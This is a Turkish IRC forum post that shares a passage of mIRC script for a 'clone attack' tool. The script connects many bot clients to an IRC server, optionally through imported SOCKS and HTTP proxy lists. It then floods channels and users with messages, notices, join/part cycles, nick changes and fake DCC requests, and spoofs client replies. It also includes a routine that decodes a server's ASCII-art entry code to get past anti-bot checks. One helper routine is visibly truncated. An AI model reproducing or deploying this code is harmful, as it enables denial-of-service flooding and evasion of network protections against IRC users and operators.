    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)

    .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK

  }

}




On *:Dialog:Clone:SClick:*: {

  If ($Did == 31) {

    If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) | Did -o Clone 102,10 1 $Did(Clone,34).Lines }

    Else { Clone.Error Invalid Sock/Proxy or Port }

  }

  If ($Did == 32) {

    Var %I = $Did(Clone,34,0).Sel

    While (%I) {

      Did -d $DName 34 $Did(Clone,34,%I).Sel | Did -o Clone 102,10 1 $Did(Clone,34).Lines

      Dec %I

    }

  }

  If ($Did == 33) {

    Var %F = $SFile($mIRCDir,Clone,Import)

    If (%F) {

      Var %I = 1

      While ($Read(%F,%I)) {

        Var %F1 = $Read(%F,%I)

        If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }

        If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return }

        Else { Did -a $DName 34 %F1 }

        Inc %I

      }

    }

    Did -o Clone 102,10 1 $Did(Clone,34).Lines

  }

  If ($Did == 83) {

    Var %I = 1

    While ($CB(%I)) {

      Var %F1 = $CB(%I)

      If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }

      If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return }

      Else { Did -a $DName 34 %F1 }

      Inc %I

    }

    Did -o Clone 102,10 1 $Did(Clone,34).Lines

  }

  If ($Did == 35) { Did -r $DName 34 | Did -o Clone 102,10 1 $Did(Clone,34).Lines }

  If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 }

  If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 }

  If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 }

  If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 }

  If ($Did == 68) {

    Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72

    If ($Did(70)) { Did -e $DName 66 }

    Else { Did -b $DName 66 }

  }

  If ($Did == 69) {

    Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72

    If ($Did(71)) { Did -e $DName 66 }

    Else { Did -b $DName 66 }

  }

  If ($Did == 16) {

    Var %F = $SFile($mIRCDir,Clone,Import)

    If (%F) { Did -ra $DName 14 %F }

  }

  If ($Did == 72) {

    Var %F = $SFile($mIRCDir,Clone,Import)

    If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 }

  }

  If ($Did == 60) {

    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }

    Else { Did -b $DName 58 }

  }

  If ($Did == 41) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) JOIN $Did(42) }

  If ($Did == 43) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PART $Did(44) : $+ $Did(45) }

  If ($Did == 46) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) JOINPART $Did(47) : $+ $Did(48) }

  If ($Did == 49) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(50) :  $+ $Rand(a,z) $+ $Rand(a,z) $+ $Rand(a,z) $Did(51)  $Rand(a,z) $+ $Rand(a,z) $+ $Rand(a,z) }

  If ($Did == 52) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(53) : $+ $Did(54) }

  If ($Did == 55) { Clone.Flood }

  If ($Did == 58) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(59) : $+ $Did(60) $+ }

  If ($Did == 61) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+ }

  If ($Did == 64) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 }

  If ($Did == 66) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) NICK }

  If ($Did == 73) {

    Var %I = 1

    While ($Did(74,%I)) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) RAW $Did(74,%I) | Inc %I }

  }

  If ($Did == 77) {

    If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Socks4) || ($Did(6) == Socks5) || ($Did(6) == Socks4&5)) { Clone.Error Enter $Did(6) to the Proxy/Socks List }

    ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server }

    ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port }

    ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect }

    ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist }

    ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname }

    ElseIf (($Did(6) == Socks4) || ($Did(6) == Socks5) || ($Did(6) == Socks4&5)) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) }

    Else { .TimerClone.Go -o $Did(10) 0 Clone.Go }

  }

  If ($Did == 78 && $Did(40) == All) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* }

  If ($Did == 78 && $Did(40) == Selected) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) QUIT }

  If ($Did == 79) { SockClose Clone.* | Dialog -x $DName }

  If ($Did == 80) { Clone.IPs }

  If ($Did == 84) {

    Var %I = $Sock(Clone.*,0)

    While (%I) {

      If (!$Sock(Clone.*,%I).Mark || $Sock(Clone.*,%I).Mark == 1) { SockClose $Sock(Clone.*,%I) }

      Dec %I

    }

    Did -o Clone 25 1 $Sock(Clone.*,0)

  }

  If ($Did == 88) { Did -b $DName 86 }

  If ($Did == 87) { Did -e $DName 86 }

  If ($Did == 93) { .TimerFlood* off }

  If ($Did == 96) {

    If ($Did(96).State == 1) { Did -r Clone 117 | Did -c Clone 91 3 | Did -b Clone 116,117,91 }

    If ($Did(96).State == 0) && ($Did(97).State == 0) { Did -e Clone 116,117,91 }

    If ($Did(96).State == 0) && ($Did(97).State == 1) { Did -e Clone 116,117 }

    If ($Did(96).State == 0) && ($Did(117) !isnum) { Did -b Clone 55 }

    If ($Did(96).State == 1) && ($Did(95) isnum) && ($Did(99) isnum) && ($Did(56)) && ($Did(57) || ($Did(97).State == 1)) { Did -e Clone 55 }

    If ($Did(96).State == 1) && ($Did(99) !isnum) { Did -b Clone 55 }

  }

  If ($Did == 97) {

    If ($Did(97).State == 1) { Did -c Clone 91 3 | Did -b Clone 91 }

    If ($Did(97).State == 0) && ($Did(96).State == 0) { Did -e Clone 91 }

    If ($Did(97).State == 1) && ($Did(117) isnum) && ($Did(95) isnum) && ($Did(56)) { Did -e Clone 55 }

    If ($Did(97).State == 1) && ($Did(96).State == 1) && ($Did(95) isnum) && ($Did(99) isnum) && ($Did(56)) { Did -e Clone 55 }

    If ($Did(97).State == 0) && (!$Did(57)) { Did -b Clone 55 }

  }

}




#Clone.DNS off

On *:DNS: {

  If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go -o $Did(Clone,10) 0 Clone.Go }

  Else { Clone.Error Unable to resolve DNS of $Did(Clone,2) }

  .Disable #Clone.DNS

  Halt

}

#Clone.DNS End




Alias genHighlighted {

  var %i = $Did(Clone,38,0).sel, %t = 0, %n, %all

  while (%i) {

    var %n = $did(clone,38,$did(clone,38,%i).sel).text

    if ($calc($len(%n) + 1 + $len(%all)) > 900) {

      set -e %selectednicks. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all

      inc %t

      var %all

    }

    var %all = $addtok(%all,%n,32)

    dec %i

  }

  set -e %selectednicks. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all

}




Alias Clone.Nicklist.Box.Update {

  var %key = $left($md5($ticks),10)

  genHighlighted %key




  Did -r Clone 38

  Var %I = 1

  While ($Sock(Clone.*,%I)) {

    If ($Sock(Clone.*,%I).Mark && $Sock(Clone.*,%I).Mark != 1) { Did -a Clone 38 $Sock(Clone.*,%I).Mark }

    Inc %I

  }




  var %s = $+($chr(37),selectednicks.,%key,-,*)

  var %a = $var($eval(%s,1),0)

  While (%a) {

    var %g = $gettok($eval($var($eval(%s,1),%a),2),0,32)

    While (%g) {

      If ($didwm(Clone,38,$gettok($eval($var($eval(%s,1),%a),2),%g,32),1)) {

        Did -kc Clone 38 $didwm(Clone,38,$gettok($eval($var($eval(%s,1),%a),2),%g,32),1)

      }

      Dec %g

    }

    Dec %a

  }

}




On *:SockOpen:Clone.*: {

  If ($SockErr) { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }

  If (Clone.Socks4.* iswm $SockName) { BSet &Clone 1 4 1 $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46) $Replace($Did(Clone,2),$Chr(46),$Chr(32)) 0 | SockWrite $SockName &Clone }

  If (Clone.Socks5.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone }

  If (Clone.Proxy.* iswm $SockName) {

    SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.0

    SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF

  }

  If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName }

  Did -o Clone 25 1 $Sock(Clone.*,0)

}




On *:SockRead:Clone.Socks4.*: {

  If ($SockErr) {

    If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }

    Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }

  }

  Else {

    If (Clone.Socks4.* iswm $SockName) && (!$Sock($SockName).Mark) {

      SockRead &Read

      If ($BVar(&Read,2) == 90) { SockMark $SockName 1 | Clone.Conn.User $SockName }

    }

    Clone.SockReadInstructions

  }

}




On *:SockRead:Clone.Socks5.*: {

  If ($SockErr) {

    If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }

    Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }

  }

  Else {

    If (Clone.Socks5.* iswm $SockName) && (!$Sock($SockName).Mark) {

      SockRead &Read

      If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) {

        Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46)

        Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32))

        BSet &Clone.Send 1 5 1 0 1 %Serv %Port

        SockWrite $SockName &Clone.Send

      }

      If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName }

    }

    Clone.SockReadInstructions

  }

}




On *:SockRead:Clone.Proxy.*: {

  If ($SockErr) {

    If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }

    Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }

  }

  Else {

    Clone.SockReadInstructions

  }

}




On *:SockRead:Clone.Normal.*: {

  If ($SockErr) {

    If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }

    Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }

  }

  Else {

    Clone.SockReadInstructions

  }

}




Alias Clone.SockReadInstructions { 

  SockRead %Clone.Read

  If (%Clone.Read && $did(clone,87).state == 1 && $did(clone,86).state == 1 && ($Gettok(%Clone.Read,1,32) != PING)) { Echo %Clone.Read }

  If (%Clone.Read && $did(clone,87).state == 1 && $did(clone,86).state == 0) { Echo %Clone.Read }

  Tokenize 32 %Clone.Read

  Unset %Clone.Read

  If ($1 == ERROR) && (!$Sock($SockName).Mark) { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }

  If ($2 == 200) && (*HTTP* iswm $1) { Clone.Conn.User $SockName }

  If ($5 == broken) { SockWrite -nt $SockName $16-17 }

  If ($5 == response) { SockWrite -nt $SockName $17-18 }

  If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) }

  If ($2 == PRIVMSG) && ($Did(Clone,81).State == 1) {

    If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 }

    If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+ }

    If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :VERSION Türkçe mIRC v6.35 }

  }

  If ($2 == 001) && (:* iswm $1) {

    Var %I = 1

    While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I }

    If ($3) { SockMark $SockName $3 | Did -a Clone 38 $3 }

    Did -o Clone 24 1 $Did(Clone,38).Lines

    SockWrite -nt $SockName Mode $3 $Did(Clone,18)

  }

  If ($2 == 433) {

    If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {

      If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Lower($Clone.RandNick($Rand(5,7))) }

      If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) }

      If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) }

    }

    Else {

      If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Lower($Clone.RandNick($Rand(5,7))) }

      If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 Clone.Conn.User $SockName }

      If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) }

    }

  }

  If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) {

    Var %I = 1

    While ($Did(Clone,38,%I)) {

      If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { SockMark $SockName $Remove($3,:) | Did -o Clone 38 %I $Remove($3,:) }

      Inc %I

    }

  }

}




On *:SockWrite:Clone.*: {

  If ($SockErr) {

    If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) }

    Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) }

  }

}




On *:SockClose:Clone.*: {

  If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) }

  Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) }

}




Alias Clone.Nick { Return $Sock($1).Mark }




Alias Clone.RandNick {

  Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1

  While (%J

  Return %N

}




Alias Clone.Conn.User {

  If ($Did(Clone,11).State == 1) {

    SockWrite -nt $1 PASS $Did(Clone,86)

    SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Clone.RandNick($Rand(20,70)))

    SockWrite -nt $1 NICK $Clone.RandNick

  }

  If ($Did(Clone,12).State == 1) {

    Var %N = $Gettok($Read($Did(Clone,14)),1,32)

    SockWrite -nt $1 PASS $Did(Clone,86)

    SockWrite -nt $1 USER $Read(ident.txt) "" "" : $Read(real.txt))

    SockWrite -nt $1 NICK %N

  }

  If ($Did(Clone,13).State == 1) {

    SockWrite -nt $1 PASS $Did(Clone,86)

    SockWrite -nt $1 USER $Did(Clone,88) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15))

    SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2)

  }

}




Alias Clone.Go {

  If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 }

  :Again

  Var %R = $Rand(0,9999999)

  If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again }

  If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) }

  If ($Did(Clone,6) == Proxy) { SockOpen $+(Clone.Proxy.,%R) $Did(Clone,34,%Clone.List) }

  If ($Did(Clone,6) == Socks4) { SockOpen $+(Clone.Socks4.,%R) $Did(Clone,34,%Clone.List) }

  If ($Did(Clone,6) == Socks5) { SockOpen $+(Clone.Socks5.,%R) $Did(Clone,34,%Clone.List) }

  If ($Did(Clone,6) == Socks4&5) { SockOpen $+(Clone.Socks4.,%R) $Did(Clone,34,%Clone.List) | SockOpen $+(Clone.Socks5.,%R) $Did(Clone,34,%Clone.List) }

  Inc %Clone.List

  Did -o Clone 25 1 $Sock(Clone.*,0)

}




Dialog -l Clone.IPs {

  Title "Connected Proxies"

  Size -1 -1 254 382

  Option Pixels

  Edit "", 1, 8 8 236 320, Read Multi autovs vsbar

  Text "Number of Connected Proxies:", 3, 8 335 147 16

  Text "0", 4, 160 335 25 16

  Button &Refresh List, 2, 8 354 235 20

}




On *:Dialog:Clone.IPs:Init:*: { Clone.IPs }




On *:Dialog:Clone.IPs:SClick:2: { Clone.IPs }




Alias Clone.IPs {

  If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs }

  Did -r Clone.IPs 1

  Var %I = 1

  While ($Sock(Clone.*,%I)) {

    If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $+ : $+ $Sock(Clone.*,%I).Port)) {

      Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $+ : $+ $Sock(Clone.*,%I).Port

    }

    Inc %I

  }

  var %P = $Did(Clone.IPs,1).lines - 1

  Did -o Clone.IPs 4 1 %P

}




alias botfnick {

  return $remove($gettok($1,1,33),:)

}

alias giriskod {

  if ( %kodsatir == $null ) || ( %kodsatir == 8 ) { set %kodsatir 1 }

  if ( $2- != 0,0##########0,0##########0,0########## ) {

    hadd -m kod satir $+ %kodsatir $2-

    inc %kodsatir

  }

  if ( %kodsatir == 8 ) { kod $1 }

}




alias kod {

  hadd -m kod0 satir1 0,0##4######0##

  hadd -m kod0 satir2 0,0#4##0####4##0#

  hadd -m kod0 satir3 0,0#4##0####4##0#

  hadd -m kod0 satir4 0,0#4##0####4##0#

  hadd -m kod0 satir5 0,0#4##0####4##0#

  hadd -m kod0 satir6 0,0#4##0####4##0#

  hadd -m kod0 satir7 0,0##4######0##




  hadd -m kod1 satir1 0,0###4###0####

  hadd -m kod1 satir2 0,0##4####0####

  hadd -m kod1 satir3 0,0#4#####0####

  hadd -m kod1 satir4 0,0####4##0####

  hadd -m kod1 satir5 0,0####4##0####

  hadd -m kod1 satir6 0,0####4##0####

  hadd -m kod1 satir7 0,0#4########0#  




  hadd -m kod2 satir1 0,0##4######0##

  hadd -m kod2 satir2 0,0#4##0####4##0#

  hadd -m kod2 satir3 0,0#######4##0#

  hadd -m kod2 satir4 0,0######4##0##

  hadd -m kod2 satir5 0,0#####4##0###

  hadd -m kod2 satir6 0,0###4##0#####

  hadd -m kod2 satir7 0,0#4########0#




  hadd -m kod3 satir1 0,0#4#######0##

  hadd -m kod3 satir2 0,0#######4##0#

  hadd -m kod3 satir3 0,0#######4##0#

  hadd -m kod3 satir4 0,0#4#######0##

  hadd -m kod3 satir5 0,0#######4##0#

  hadd -m kod3 satir6 0,0#######4##0#

  hadd -m kod3 satir7 0,0#4#######0## 




  hadd -m kod4 satir1 0,0#4##0#######

  hadd -m kod4 satir2 0,0#4##0#######

  hadd -m kod4 satir3 0,0#4##0##4##0###

  hadd -m kod4 satir4 0,0#4##0##4##0###

  hadd -m kod4 satir5 0,0#4##0##4##0###

  hadd -m kod4 satir6 0,0#4########0#

  hadd -m kod4 satir7 0,0#0####4##0###




  hadd -m kod5 satir1 0,0#4########0#

  hadd -m kod5 satir2 0,0#4#0########

  hadd -m kod5 satir3 0,0#4#0########

  hadd -m kod5 satir4 0,0#4#######0##

  hadd -m kod5 satir5 0,0########4#0#

  hadd -m kod5 satir6 0,0########4#0#

  hadd -m kod5 satir7 0,0#4#######0## 




  hadd -m kod6 satir1 0,0##4#######0#

  hadd -m kod6 satir2 0,0#4##0#######

  hadd -m kod6 satir3 0,0#4##0#######

  hadd -m kod6 satir4 0,0#4#######0##

  hadd -m kod6 satir5 0,0#4##0####4##0#

  hadd -m kod6 satir6 0,0#4##0####4##0#

  hadd -m kod6 satir7 0,0##4######0## 




  hadd -m kod7 satir1 0,0#4########0#

  hadd -m kod7 satir2 0,0#######4##0#

  hadd -m kod7 satir3 0,0######4##0##

  hadd -m kod7 satir4 0,0#####4##0###

  hadd -m kod7 satir5 0,0####4##0####

  hadd -m kod7 satir6 0,0###4##0#####

  hadd -m kod7 satir7 0,0##4##0###### 




  hadd -m kod8 satir1 0,0##4######0##

  hadd -m kod8 satir2 0,0#4##0####4##0#

  hadd -m kod8 satir3 0,0#4##0####4##0#

  hadd -m kod8 satir4 0,0##4#4#####0##

  hadd -m kod8 satir5 0,0#4##0####4##0#

  hadd -m kod8 satir6 0,0#4##0####4##0#

  hadd -m kod8 satir7 0,0##4######0##




  hadd -m kod9 satir1 0,0##4######0##

  hadd -m kod9 satir2 0,0#4##0####4##0#

  hadd -m kod9 satir3 0,0#4##0####4##0#

  hadd -m kod9 satir4 0,0##4#######0#

  hadd -m kod9 satir5 0,0#######4##0#

  hadd -m kod9 satir6 0,0#######4##0#

  hadd -m kod9 satir7 0,0##4######0##




  var %giriskod1 $kontrol(1)

  var %giriskod2 $kontrol(2)

  var %giriskod3 $kontrol(3)




  hfree kod

  hfree kod0

  hfree kod1

  hfree kod2

  hfree kod3

  hfree kod4

  hfree kod5

  hfree kod6

  hfree kod7

  hfree kod8

  hfree kod9

  unset %kodsatir




  if ( %giriskod1 == $null ) || ( %giriskod2 == $null ) || ( %giriskod3 == $null ) { echo -a Giriş Kodu Bulunamadı! | halt }

  if $sock($1) { SockWrite -nt $1 giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }

  if $1 == $me { giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }

}




alias kontrol {

  if ( $1 == $null ) { echo -a eksik | halt }

  if ( $1 = 1 ) {

    var %aralikba 1

    var %aralikbi 30

  }

  if ( $1 = 2 ) {

    var %aralikba 15

    var %aralikbi 30

  }

  if ( $1 = 3 ) {

    var %aralikba 35

    var %aralikbi 50

  } 




  var %ii -1

  var %tt 9

  while %ii < %tt { 

    inc %ii




    ;echo -a Kontrol Edilen Değer %ii




    var %i 0

    var %t 7




    var %ttoplam 0

    while %i < %t { 

      inc %i

      ;echo -a $mid($hget(kod, satir $+ %i), %aralikba, %aralikbi)

      if ( $hget(kod $+ %ii, satir $+ %i) != $null ) {

        if ( * $+ $hget(kod $+ %ii, satir $+ %i) $+ * iswm $mid($hget(kod, satir $+ %i),%aralikba,%aralikbi) ) {

          inc %ttoplam 2

        }

      }

    }

    if ( %ttoplam == 14 ) { return %ii }

  }

}

WWW Ara
Cevapla


Bu Konudaki Yorumlar
CLONE SALDIRI Kodu - Yazar: Admin - 02-21-2020, 03:29 AM

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
Thumbs Up Super Clone 5.0.0 Lamer 12 10,678 05-22-2021, 02:39 PM
Son Yorum: Lamer
Heart CLONE PROXY SALDIRI 2020 Admin 2 8,271 11-29-2020, 10:14 AM
Son Yorum: Admin
Lightbulb Super Clone 5.0.0 (Çözüldü) Xeroyashar 2 6,106 10-06-2020, 11:19 AM
Son Yorum: Lamer
Heart CLONE Saldiri Kod Admin 2 9,535 03-13-2020, 08:57 AM
Son Yorum: Admin
Heart CLONE SALDIRISI İÇİN KOMUT Admin 0 7,543 02-29-2020, 04:00 PM
Son Yorum: Admin

Hızlı Menü:


Konuyu Okuyanlar: 1 Ziyaretçi
  Tarih: 11-23-2024, 01:23 PM

  Forum Hakkında

Lamerler.CoM Türkiye'nin IRCd ve LaMeR Forumu Sitesi

Açıklamanın devamını oku  

  Öncelikli Kategoriler

  Öncelikli Konular

  İletişim Bilgilerimiz

Bizimle İletişim bağlantısı ile bağlantı kurabilirsiniz.
Admin LameR
  • eklenecek
  • Destek@Lamerler.com
Forum Yazılımı: İRC FoRuM, © 2019-2021 Lamerler.CoM.sohbet mobil sohbet sohbet siteleri By @LaMeR & Admin